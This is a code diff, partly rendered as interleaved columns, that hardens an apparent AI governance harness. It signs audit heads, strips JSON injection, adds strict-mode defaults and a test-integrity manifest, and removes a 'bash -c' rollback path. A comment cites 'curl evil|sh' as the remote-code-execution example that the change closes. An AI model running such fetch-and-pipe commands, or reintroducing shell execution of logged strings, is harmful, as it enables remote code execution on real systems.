CASAN_GC_REASONS="$REASONS_JSON" python - "$TRACE_FILE" "$AUDIT_LOG" \
|
||||||
"actor": "$ACTOR",
|
"$TIMESTAMP" "$TRACE_ID" "$ACTION_NAME" "$ACTOR" "$RISK_LEVEL" "$DECISION" \
|
||||||
"risk_level": "$RISK_LEVEL",
|
"$APPROVAL_STATUS" "$APPROVER" "$INPUT_HASH" "$OUTPUT_HASH" "$PREV_HASH" "$RECORD_HASH" <<'PY'
|
||||||
"decision": "$DECISION",
|
import json, os, sys
|
||||||
"approval_status": "$APPROVAL_STATUS",
|
(trace_file, audit_log, ts, trace_id, action, actor, risk, decision,
|
||||||
"approver": "$APPROVER",
|
approval_status, approver, input_hash, output_hash, prev_hash, record_hash) = sys.argv[1:]
|
||||||
"reasons": $REASONS_JSON,
|
try:
|
||||||
"input_hash": "$INPUT_HASH",
|
reasons = json.loads(os.environ.get("CASAN_GC_REASONS") or "[]")
|
||||||
"output_hash": "$OUTPUT_HASH",
|
except ValueError:
|
||||||
"previous_record_hash": "$PREV_HASH",
|
reasons = []
|
||||||
"record_hash": "$RECORD_HASH"
|
rec = {
|
||||||
|
"timestamp": ts, "trace_id": trace_id, "harness": "H5-governance",
|
||||||
|
"action": action, "actor": actor, "risk_level": risk, "decision": decision,
|
||||||
|
"approval_status": approval_status, "approver": approver,
|
||||||
|
"input_hash": input_hash, "output_hash": output_hash,
|
||||||
|
"previous_record_hash": prev_hash, "record_hash": record_hash,
|
||||||
}
|
}
|
||||||
EOF
|
trace = {**rec, "reasons": reasons}
|
||||||
|
with open(trace_file, "w", encoding="utf-8") as f:
|
||||||
printf '{"timestamp":"%s","trace_id":"%s","harness":"H5-governance","action":"%s","actor":"%s","risk_level":"%s","decision":"%s","approval_status":"%s","approver":"%s","input_hash":"%s","output_hash":"%s","previous_record_hash":"%s","record_hash":"%s"}\n' \
|
json.dump(trace, f, indent=2)
|
||||||
"$TIMESTAMP" "$TRACE_ID" "$ACTION_NAME" "$ACTOR" "$RISK_LEVEL" "$DECISION" "$APPROVAL_STATUS" "$APPROVER" "$INPUT_HASH" "$OUTPUT_HASH" "$PREV_HASH" "$RECORD_HASH" >> "$AUDIT_LOG"
|
f.write("\n")
|
||||||
|
with open(audit_log, "a", encoding="utf-8") as f:
|
||||||
|
# Compact separators: the chain line is regex-parsed elsewhere and must match
|
||||||
|
# the original printf format (no space after ':' / ',').
|
||||||
|
f.write(json.dumps(rec, separators=(",", ":")) + "\n")
|
||||||
|
PY
|
||||||
|
|
||||||
# --- External anchor: cryptographically sign the new chain head ---
|
# --- External anchor: cryptographically sign the new chain head ---
|
||||||
# A re-forged chain (recomputed hashes) changes the head; without the private
|
# A re-forged chain (recomputed hashes) changes the head; without the private
|
||||||
@@ -186,16 +196,27 @@ if command -v openssl >/dev/null 2>&1; then
|
|||||||
AUDIT_PUB="$PUB_DIR/audit-public.pem"
|
AUDIT_PUB="$PUB_DIR/audit-public.pem"
|
||||||
mkdir -p "$PUB_DIR" "$PRIV_DIR"
|
mkdir -p "$PUB_DIR" "$PRIV_DIR"
|
||||||
if [[ ! -f "$AUDIT_PRIV" ]]; then
|
if [[ ! -f "$AUDIT_PRIV" ]]; then
|
||||||
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out "$AUDIT_PRIV" 2>/dev/null
|
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
|
||||||
chmod 600 "$AUDIT_PRIV"
|
# SEC-02 (H-02): in enforced mode NEVER auto-generate a local signing key.
|
||||||
|
# A freshly-minted key next to the data lets any file-writer re-sign a forged
|
||||||
|
# head. Prod must provision the key out-of-band (KMS/HSM — see sign-audit-head.sh
|
||||||
|
# Vault path). With no key we skip signing; the head stays unsigned and SEC-01
|
||||||
|
# strict verification then FAILS CLOSED.
|
||||||
|
echo "AUDIT_SIGN_SKIPPED_ENFORCED no off-repo/KMS key provisioned; head left unsigned (verify fails closed)" >&2
|
||||||
|
else
|
||||||
|
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out "$AUDIT_PRIV" 2>/dev/null
|
||||||
|
chmod 600 "$AUDIT_PRIV"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
if [[ -f "$AUDIT_PRIV" ]]; then
|
||||||
|
# Always re-export the public key so it matches the private key we sign with.
|
||||||
|
# Without this, a private key that PERSISTS on a CI runner drifts out of sync
|
||||||
|
# with a freshly checked-out audit-public.pem (e.g. one committed after a
|
||||||
|
# Vault-KMS signing), and verify-audit-chain.sh would reject a genuine head.
|
||||||
|
openssl rsa -in "$AUDIT_PRIV" -pubout -out "$AUDIT_PUB" 2>/dev/null || true
|
||||||
|
printf '%s' "$RECORD_HASH" > "$AUDIT_DIR/audit-head.txt"
|
||||||
|
openssl dgst -sha256 -sign "$AUDIT_PRIV" -out "$AUDIT_DIR/audit-head.sig" "$AUDIT_DIR/audit-head.txt" 2>/dev/null || true
|
||||||
fi
|
fi
|
||||||
# Always re-export the public key so it matches the private key we sign with.
|
|
||||||
# Without this, a private key that PERSISTS on a CI runner drifts out of sync
|
|
||||||
# with a freshly checked-out audit-public.pem (e.g. one committed after a
|
|
||||||
# Vault-KMS signing), and verify-audit-chain.sh would reject a genuine head.
|
|
||||||
openssl rsa -in "$AUDIT_PRIV" -pubout -out "$AUDIT_PUB" 2>/dev/null || true
|
|
||||||
printf '%s' "$RECORD_HASH" > "$AUDIT_DIR/audit-head.txt"
|
|
||||||
openssl dgst -sha256 -sign "$AUDIT_PRIV" -out "$AUDIT_DIR/audit-head.sig" "$AUDIT_DIR/audit-head.txt" 2>/dev/null || true
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [[ "$DECISION" != "approved" ]]; then
|
if [[ "$DECISION" != "approved" ]]; then
|
||||||
|
|||||||
@@ -71,10 +71,15 @@ else
|
|||||||
casan_log warn incident "INCIDENT sev=$SEV event=$EVENT scope=$SCOPE id=$ID owner=$OWNER"
|
casan_log warn incident "INCIDENT sev=$SEV event=$EVENT scope=$SCOPE id=$ID owner=$OWNER"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# SEC-05 (M-05): the keyless printf fallback below must not permit JSON injection
|
||||||
|
# either — strip quotes/backslashes/newlines from interpolated fields so a crafted
|
||||||
|
# EVENT/OWNER/SCOPE cannot forge a second incident record.
|
||||||
|
_json_strip() { local s="${1//\\/}"; s="${s//\"/}"; s="${s//$'\n'/ }"; s="${s//$'\r'/ }"; printf '%s' "$s"; }
|
||||||
|
|
||||||
# Record a structured incident entry.
|
# Record a structured incident entry.
|
||||||
python - "$LOG" "$TS" "$EVENT" "$SEV" "$OWNER" "$SCOPE" "$ID" "$ACTION" "$DETAIL" "$RUNBOOK" <<'PY' 2>/dev/null || \
|
python - "$LOG" "$TS" "$EVENT" "$SEV" "$OWNER" "$SCOPE" "$ID" "$ACTION" "$DETAIL" "$RUNBOOK" <<'PY' 2>/dev/null || \
|
||||||
printf '{"timestamp":"%s","event":"%s","severity":"%s","owner":"%s","scope":"%s","id":"%s","action":"%s"}\n' \
|
printf '{"timestamp":"%s","event":"%s","severity":"%s","owner":"%s","scope":"%s","id":"%s","action":"%s"}\n' \
|
||||||
"$TS" "$EVENT" "$SEV" "$OWNER" "$SCOPE" "$ID" "$ACTION" >> "$LOG"
|
"$(_json_strip "$TS")" "$(_json_strip "$EVENT")" "$(_json_strip "$SEV")" "$(_json_strip "$OWNER")" "$(_json_strip "$SCOPE")" "$(_json_strip "$ID")" "$(_json_strip "$ACTION")" >> "$LOG"
|
||||||
import json, sys
|
import json, sys
|
||||||
log, ts, event, sev, owner, scope, iid, action, detail, runbook = sys.argv[1:11]
|
log, ts, event, sev, owner, scope, iid, action, detail, runbook = sys.argv[1:11]
|
||||||
with open(log, "a", encoding="utf-8") as f:
|
with open(log, "a", encoding="utf-8") as f:
|
||||||
|
|||||||
@@ -12,8 +12,9 @@ SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
|||||||
|
|
||||||
# Opt-in governance preflight (default off ⇒ no change to existing flows).
|
# Opt-in governance preflight (default off ⇒ no change to existing flows).
|
||||||
# When enabled, enforces RAI data governance (e.g. PII must not reach a cloud
|
# When enabled, enforces RAI data governance (e.g. PII must not reach a cloud
|
||||||
# model without approval) BEFORE the model call.
|
# model without approval) BEFORE the model call. SEC-17 (ARCH-03): default ON under
|
||||||
if [[ "${CASAN_PREFLIGHT:-0}" == "1" ]]; then
|
# CASAN_PROFILE=prod (secure-by-default); an explicit CASAN_PREFLIGHT=0 still wins.
|
||||||
|
if [[ "${CASAN_PREFLIGHT:-0}" == "1" || ( -z "${CASAN_PREFLIGHT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then
|
||||||
bash "$SCRIPT_DIR/harness-preflight.sh" "$@" >/dev/null || exit $?
|
bash "$SCRIPT_DIR/harness-preflight.sh" "$@" >/dev/null || exit $?
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|||||||
@@ -35,8 +35,11 @@ if [[ "$MODE" == "checkpoint" ]]; then
|
|||||||
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ABS_TARGET" "$RESTORE_CMD" "$BACKUP" <<'PY'
|
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ABS_TARGET" "$RESTORE_CMD" "$BACKUP" <<'PY'
|
||||||
import json, sys
|
import json, sys
|
||||||
log, ts, tx, target, cmd, backup = sys.argv[1:]
|
log, ts, tx, target, cmd, backup = sys.argv[1:]
|
||||||
|
# SEC-03: `op` + backup/target are the STRUCTURED, executable form. rollback_command
|
||||||
|
# is kept only as a human-readable / audit string — `execute` never shell-runs it.
|
||||||
rec = {"timestamp": ts, "transaction_id": tx, "action": "checkpoint",
|
rec = {"timestamp": ts, "transaction_id": tx, "action": "checkpoint",
|
||||||
"target": target, "backup": backup, "rollback_command": cmd, "status": "recorded"}
|
"op": "restore_file", "target": target, "backup": backup,
|
||||||
|
"rollback_command": cmd, "status": "recorded"}
|
||||||
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
|
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
|
||||||
PY
|
PY
|
||||||
echo "ROLLBACK_CHECKPOINT transaction_id=$TX_ID target=$ABS_TARGET"
|
echo "ROLLBACK_CHECKPOINT transaction_id=$TX_ID target=$ABS_TARGET"
|
||||||
@@ -50,8 +53,17 @@ if [[ "$MODE" == "record" ]]; then
|
|||||||
fi
|
fi
|
||||||
TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")"
|
TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")"
|
||||||
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||||
printf '{"timestamp":"%s","transaction_id":"%s","action":"%s","rollback_command":"%s","status":"recorded"}\n' \
|
# SEC-03/SEC-05: serialize via json.dumps so `action`/`rollback_command` cannot
|
||||||
"$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" >> "$TX_LOG"
|
# inject a second forged JSON record (a raw printf let a `"`+newline break out).
|
||||||
|
# Note: a free-form `record` entry has no structured `op`, so `execute` REFUSES
|
||||||
|
# to run it — free-form rollback commands are audit-only, never executed.
|
||||||
|
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" <<'PY'
|
||||||
|
import json, sys
|
||||||
|
log, ts, tx, action, cmd = sys.argv[1:]
|
||||||
|
rec = {"timestamp": ts, "transaction_id": tx, "action": action,
|
||||||
|
"rollback_command": cmd, "status": "recorded"}
|
||||||
|
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
|
||||||
|
PY
|
||||||
echo "ROLLBACK_RECORDED transaction_id=$TX_ID"
|
echo "ROLLBACK_RECORDED transaction_id=$TX_ID"
|
||||||
exit 0
|
exit 0
|
||||||
fi
|
fi
|
||||||
@@ -62,23 +74,54 @@ if [[ "$MODE" == "execute" ]]; then
|
|||||||
echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2
|
echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
COMMAND="$(python - "$TX_LOG" "$TX_ID" <<'PY'
|
# SEC-03 (H-03): NEVER `bash -c` a string read from the (unsigned) tx log — that
|
||||||
import json, sys
|
# was arbitrary remote code execution (append `curl evil|sh` -> executed). Only a
|
||||||
for line in open(sys.argv[1], encoding="utf-8"):
|
# STRUCTURED, whitelisted op is honored. The one safe op today is "restore_file":
|
||||||
rec=json.loads(line)
|
# copy our own backup back over the target, performed in Python via argv (no shell),
|
||||||
if rec.get("transaction_id")==sys.argv[2]:
|
# and only when the source lives inside our controlled backup dir.
|
||||||
print(rec.get("rollback_command",""))
|
PRC=0
|
||||||
break
|
RESTORED="$(python - "$TX_LOG" "$TX_ID" "$BACKUP_DIR" <<'PY'
|
||||||
|
import json, os, shutil, sys
|
||||||
|
log, tx, backup_dir = sys.argv[1], sys.argv[2], os.path.realpath(sys.argv[3])
|
||||||
|
rec = None
|
||||||
|
for line in open(log, encoding="utf-8"):
|
||||||
|
line = line.strip()
|
||||||
|
if not line:
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
r = json.loads(line)
|
||||||
|
except ValueError:
|
||||||
|
continue # malformed line: ignore, fail-closed later
|
||||||
|
if r.get("transaction_id") == tx and r.get("action") == "checkpoint":
|
||||||
|
rec = r # last checkpoint for this tx wins
|
||||||
|
if not rec:
|
||||||
|
sys.stderr.write("no_structured_checkpoint\n"); sys.exit(3)
|
||||||
|
op = rec.get("op") or ("restore_file" if rec.get("backup") and rec.get("target") else "")
|
||||||
|
backup = os.path.realpath(rec.get("backup", ""))
|
||||||
|
target = rec.get("target", "")
|
||||||
|
if op != "restore_file" or not backup or not target:
|
||||||
|
sys.stderr.write("not_a_whitelisted_restore_op\n"); sys.exit(4)
|
||||||
|
# A forged record cannot point the restore SOURCE at an arbitrary file.
|
||||||
|
if not (backup == backup_dir or backup.startswith(backup_dir + os.sep)):
|
||||||
|
sys.stderr.write("backup_outside_controlled_dir\n"); sys.exit(5)
|
||||||
|
if not os.path.isfile(backup):
|
||||||
|
sys.stderr.write("backup_missing\n"); sys.exit(6)
|
||||||
|
shutil.copyfile(backup, target) # argv copy — no shell interpretation
|
||||||
|
sys.stdout.write(target)
|
||||||
PY
|
PY
|
||||||
)"
|
)" || PRC=$?
|
||||||
if [[ -z "$COMMAND" ]]; then
|
if [[ "$PRC" -ne 0 ]]; then
|
||||||
echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2
|
echo "ROLLBACK_REFUSED transaction_id=$TX_ID reason=no_structured_restore_op (rc=$PRC)" >&2
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
bash -c "$COMMAND"
|
|
||||||
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||||
printf '{"timestamp":"%s","transaction_id":"%s","status":"rolled_back"}\n' "$TIMESTAMP" "$TX_ID" >> "$TX_LOG"
|
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" <<'PY'
|
||||||
echo "ROLLBACK_EXECUTED transaction_id=$TX_ID"
|
import json, sys
|
||||||
|
log, ts, tx = sys.argv[1:]
|
||||||
|
open(log, "a", encoding="utf-8").write(
|
||||||
|
json.dumps({"timestamp": ts, "transaction_id": tx, "status": "rolled_back"}) + "\n")
|
||||||
|
PY
|
||||||
|
echo "ROLLBACK_EXECUTED transaction_id=$TX_ID target=$RESTORED"
|
||||||
exit 0
|
exit 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|||||||
@@ -253,8 +253,14 @@ if [[ "$MODE" == "input" ]]; then
|
|||||||
# silent skip. Off by default so CI without a model stays non-strict.
|
# silent skip. Off by default so CI without a model stays non-strict.
|
||||||
# * CASAN_SEMANTIC_CLASSIFY=1 (non-strict) — best-effort. On model outage we
|
# * CASAN_SEMANTIC_CLASSIFY=1 (non-strict) — best-effort. On model outage we
|
||||||
# keep the regex verdict but log SEMANTIC_SKIPPED loudly (no silent pass).
|
# keep the regex verdict but log SEMANTIC_SKIPPED loudly (no silent pass).
|
||||||
|
# SEC-17 (ARCH-03): strict is ON when explicitly set, OR unset under prod profile
|
||||||
|
# (secure-by-default). An explicit CASAN_SECURITY_STRICT=0 (internal scans) wins.
|
||||||
|
STRICT_ON=0
|
||||||
|
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || ( -z "${CASAN_SECURITY_STRICT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then
|
||||||
|
STRICT_ON=1
|
||||||
|
fi
|
||||||
SEMANTIC_REQUIRED=0
|
SEMANTIC_REQUIRED=0
|
||||||
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || "${CASAN_SEMANTIC_CLASSIFY:-0}" == "1" ]]; then
|
if [[ "$STRICT_ON" == "1" || "${CASAN_SEMANTIC_CLASSIFY:-0}" == "1" ]]; then
|
||||||
SEMANTIC_REQUIRED=1
|
SEMANTIC_REQUIRED=1
|
||||||
fi
|
fi
|
||||||
if [[ "$STATUS" != "blocked" && "$SEMANTIC_REQUIRED" == "1" ]]; then
|
if [[ "$STATUS" != "blocked" && "$SEMANTIC_REQUIRED" == "1" ]]; then
|
||||||
@@ -271,7 +277,7 @@ if [[ "$MODE" == "input" ]]; then
|
|||||||
MATCHED_RULES+=("semantic-injection")
|
MATCHED_RULES+=("semantic-injection")
|
||||||
elif [[ -z "$SEM_VERDICT" ]]; then
|
elif [[ -z "$SEM_VERDICT" ]]; then
|
||||||
# Model unreachable / no usable verdict.
|
# Model unreachable / no usable verdict.
|
||||||
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" ]]; then
|
if [[ "$STRICT_ON" == "1" ]]; then
|
||||||
STATUS="blocked"; ACTION="block"; RISK_LEVEL="high"
|
STATUS="blocked"; ACTION="block"; RISK_LEVEL="high"
|
||||||
MATCHED_RULES+=("semantic-strict-unavailable")
|
MATCHED_RULES+=("semantic-strict-unavailable")
|
||||||
casan_log error security "SEMANTIC_STRICT_FAIL_CLOSED trace_id=$TRACE_ID reason=model_unavailable action=block"
|
casan_log error security "SEMANTIC_STRICT_FAIL_CLOSED trace_id=$TRACE_ID reason=model_unavailable action=block"
|
||||||
|
|||||||
@@ -97,6 +97,16 @@ case "$CMD" in
|
|||||||
fi
|
fi
|
||||||
echo "TELEMETRY_INTEGRITY_VALID anchor=signed head=$HEAD_STORED"
|
echo "TELEMETRY_INTEGRITY_VALID anchor=signed head=$HEAD_STORED"
|
||||||
else
|
else
|
||||||
|
# SEC-01 (H-01): enforced mode treats a missing/unverifiable signature as FAIL,
|
||||||
|
# otherwise deleting telemetry-head.sig after rewriting token counts would pass.
|
||||||
|
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
|
||||||
|
MISSING=""
|
||||||
|
[[ -f "$HEAD_SIG" ]] || MISSING="$MISSING head-sig"
|
||||||
|
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
|
||||||
|
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
|
||||||
|
echo "TELEMETRY_INTEGRITY_UNSIGNED_STRICT_FAIL head=$HEAD_STORED missing=${MISSING# }" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
echo "TELEMETRY_INTEGRITY_VALID anchor=unsigned head=$HEAD_STORED"
|
echo "TELEMETRY_INTEGRITY_VALID anchor=unsigned head=$HEAD_STORED"
|
||||||
fi
|
fi
|
||||||
;;
|
;;
|
||||||
|
|||||||
@@ -0,0 +1,192 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""CASAN Plan-16 SEC-18 (ARCH-02) — test-integrity manifest.
|
||||||
|
|
||||||
|
The test suites live in the same repo an attacker can edit, so "280/0 green" proves
|
||||||
|
nothing if a fail-able adversarial check was quietly deleted or weakened. This tool
|
||||||
|
records, per suite, its content hash and its number of fail-able checks, into a
|
||||||
|
manifest whose head is signed with an OFF-REPO key. CI then re-verifies:
|
||||||
|
|
||||||
|
* a manifested suite that DISAPPEARED -> FAIL (suite removed)
|
||||||
|
* a suite whose fail-able-check count DROPPED -> FAIL (coverage regression)
|
||||||
|
* (enforced mode) an invalid/absent manifest signature -> FAIL (manifest tampered)
|
||||||
|
|
||||||
|
Adding checks/suites is fine (regenerate the manifest); only REMOVING coverage fails.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
test-integrity.py generate # write + sign the manifest
|
||||||
|
test-integrity.py verify [--strict] # re-check; exit 1 on regression/tamper
|
||||||
|
|
||||||
|
Env: CASAN_TESTS_DIR, CASAN_TEST_MANIFEST, CASAN_TI_KEY_DIR, CASAN_TI_PUB,
|
||||||
|
CASAN_PROFILE=prod / CASAN_VERIFY_STRICT=1 (enforce signature).
|
||||||
|
"""
|
||||||
|
import argparse
|
||||||
|
import glob
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# A "fail-able check" is any assertion call site. Phase suites use `pass "..."`;
|
||||||
|
# the adversarial suite uses `expect_rc <n> "..."`. Counting these makes deleting
|
||||||
|
# or short-circuiting a check reduce the number.
|
||||||
|
CHECK_RE = re.compile(r'(?:(?<![\w])pass\s+")|(?:\bexpect_rc\s)')
|
||||||
|
|
||||||
|
|
||||||
|
def project_root() -> str:
|
||||||
|
return os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", ".."))
|
||||||
|
|
||||||
|
|
||||||
|
def tests_dir() -> str:
|
||||||
|
return os.environ.get("CASAN_TESTS_DIR") or os.path.join(project_root(), ".specify/tests")
|
||||||
|
|
||||||
|
|
||||||
|
def manifest_path() -> str:
|
||||||
|
return os.environ.get("CASAN_TEST_MANIFEST") or os.path.join(tests_dir(), "test-integrity-manifest.json")
|
||||||
|
|
||||||
|
|
||||||
|
def _enforced() -> bool:
|
||||||
|
return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1"
|
||||||
|
|
||||||
|
|
||||||
|
def suite_files():
|
||||||
|
d = tests_dir()
|
||||||
|
files = []
|
||||||
|
for pat in ("phase*.sh", "adversarial*.sh", "run-casan*.sh"):
|
||||||
|
files.extend(glob.glob(os.path.join(d, pat)))
|
||||||
|
# Exclude the integrity suite itself to avoid a self-reference cycle.
|
||||||
|
return sorted(f for f in files if os.path.basename(f) != "phase-sec18-tests.sh")
|
||||||
|
|
||||||
|
|
||||||
|
def scan(path):
|
||||||
|
data = open(path, "rb").read()
|
||||||
|
text = data.decode("utf-8", errors="replace")
|
||||||
|
checks = len(CHECK_RE.findall(text))
|
||||||
|
return {"sha256": hashlib.sha256(data).hexdigest(), "checks": checks}
|
||||||
|
|
||||||
|
|
||||||
|
def build_manifest():
|
||||||
|
suites = {os.path.basename(f): scan(f) for f in suite_files()}
|
||||||
|
total = sum(s["checks"] for s in suites.values())
|
||||||
|
return {"suites": suites, "total_checks": total, "suite_count": len(suites)}
|
||||||
|
|
||||||
|
|
||||||
|
def manifest_head(manifest) -> str:
|
||||||
|
core = json.dumps(manifest["suites"], sort_keys=True, separators=(",", ":"))
|
||||||
|
return hashlib.sha256(core.encode()).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
# --- signing (off-repo key; pubkey provisioned out-of-band / KMS in prod) ------
|
||||||
|
def _priv():
|
||||||
|
d = os.environ.get("CASAN_TI_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys")
|
||||||
|
return os.path.join(d, "test-integrity-private.pem")
|
||||||
|
|
||||||
|
|
||||||
|
def _pub():
|
||||||
|
return os.environ.get("CASAN_TI_PUB") or (manifest_path() + ".pub")
|
||||||
|
|
||||||
|
|
||||||
|
def _sig():
|
||||||
|
return manifest_path() + ".sig"
|
||||||
|
|
||||||
|
|
||||||
|
def _head_file():
|
||||||
|
return manifest_path() + ".head"
|
||||||
|
|
||||||
|
|
||||||
|
def sign(manifest):
|
||||||
|
head = manifest_head(manifest)
|
||||||
|
open(_head_file(), "w", encoding="utf-8").write(head)
|
||||||
|
ossl = shutil.which("openssl")
|
||||||
|
if not ossl:
|
||||||
|
return
|
||||||
|
priv, pub = _priv(), _pub()
|
||||||
|
os.makedirs(os.path.dirname(priv), exist_ok=True)
|
||||||
|
if not os.path.isfile(priv):
|
||||||
|
subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048", "-out", priv],
|
||||||
|
capture_output=True)
|
||||||
|
try:
|
||||||
|
os.chmod(priv, 0o600)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
os.makedirs(os.path.dirname(pub) or ".", exist_ok=True)
|
||||||
|
subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True)
|
||||||
|
subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", _sig(), _head_file()], capture_output=True)
|
||||||
|
|
||||||
|
|
||||||
|
def check_signature(manifest):
|
||||||
|
ossl = shutil.which("openssl")
|
||||||
|
if not (ossl and os.path.isfile(_head_file()) and os.path.isfile(_sig()) and os.path.isfile(_pub())):
|
||||||
|
return "unsigned"
|
||||||
|
if open(_head_file(), encoding="utf-8").read().strip() != manifest_head(manifest):
|
||||||
|
return "invalid"
|
||||||
|
res = subprocess.run([ossl, "dgst", "-sha256", "-verify", _pub(), "-signature", _sig(), _head_file()],
|
||||||
|
capture_output=True)
|
||||||
|
return "signed" if res.returncode == 0 else "invalid"
|
||||||
|
|
||||||
|
|
||||||
|
def do_generate():
|
||||||
|
manifest = build_manifest()
|
||||||
|
with open(manifest_path(), "w", encoding="utf-8") as fh:
|
||||||
|
json.dump(manifest, fh, indent=2)
|
||||||
|
fh.write("\n")
|
||||||
|
sign(manifest)
|
||||||
|
print(f"TEST_INTEGRITY_GENERATED suites={manifest['suite_count']} total_checks={manifest['total_checks']}")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def do_verify(strict):
|
||||||
|
mp = manifest_path()
|
||||||
|
if not os.path.isfile(mp):
|
||||||
|
# No manifest provisioned. Enforced mode fails closed; dev/CI skips cleanly.
|
||||||
|
if strict or _enforced():
|
||||||
|
print("TEST_INTEGRITY_FAIL no_manifest_in_enforced_mode", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
print("TEST_INTEGRITY_SKIP no manifest (run: test-integrity.py generate)")
|
||||||
|
return 0
|
||||||
|
manifest = json.load(open(mp, encoding="utf-8"))
|
||||||
|
current = {os.path.basename(f): scan(f) for f in suite_files()}
|
||||||
|
|
||||||
|
regressions = []
|
||||||
|
for name, rec in manifest.get("suites", {}).items():
|
||||||
|
if name not in current:
|
||||||
|
regressions.append(f"{name}:suite_removed")
|
||||||
|
elif current[name]["checks"] < rec["checks"]:
|
||||||
|
regressions.append(f"{name}:checks_dropped({rec['checks']}->{current[name]['checks']})")
|
||||||
|
|
||||||
|
sig_state = check_signature(manifest)
|
||||||
|
if sig_state == "invalid":
|
||||||
|
print("TEST_INTEGRITY_FAIL manifest_signature_invalid", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
if sig_state == "unsigned" and (strict or _enforced()):
|
||||||
|
print("TEST_INTEGRITY_FAIL manifest_unsigned_in_strict_mode", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
if regressions:
|
||||||
|
print("TEST_INTEGRITY_FAIL coverage_regression " + " ".join(regressions), file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
cur_total = sum(v["checks"] for k, v in current.items() if k in manifest.get("suites", {}))
|
||||||
|
print(f"TEST_INTEGRITY_OK suites={len(manifest.get('suites', {}))} "
|
||||||
|
f"manifest_checks={manifest.get('total_checks')} current_checks={cur_total} anchor={sig_state}")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
ap = argparse.ArgumentParser()
|
||||||
|
sub = ap.add_subparsers(dest="cmd", required=True)
|
||||||
|
sub.add_parser("generate")
|
||||||
|
v = sub.add_parser("verify")
|
||||||
|
v.add_argument("--strict", action="store_true")
|
||||||
|
args = ap.parse_args()
|
||||||
|
if args.cmd == "generate":
|
||||||
|
return do_generate()
|
||||||
|
if args.cmd == "verify":
|
||||||
|
return do_verify(args.strict)
|
||||||
|
return 2
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -84,5 +84,20 @@ if [[ -f "$HEAD_FILE" && -f "$HEAD_SIG" && -f "$AUDIT_PUB" ]] && command -v open
|
|||||||
fi
|
fi
|
||||||
echo "AUDIT_CHAIN_VALID anchor=signed last_hash=$COMPUTED_HEAD"
|
echo "AUDIT_CHAIN_VALID anchor=signed last_hash=$COMPUTED_HEAD"
|
||||||
else
|
else
|
||||||
|
# SEC-01 (H-01): in enforced mode a missing/unverifiable signature is a FAILURE,
|
||||||
|
# not "valid unsigned". Otherwise deleting audit-head.sig (or the pubkey) after
|
||||||
|
# tampering + recomputing the chain would pass verification. Permissive mode
|
||||||
|
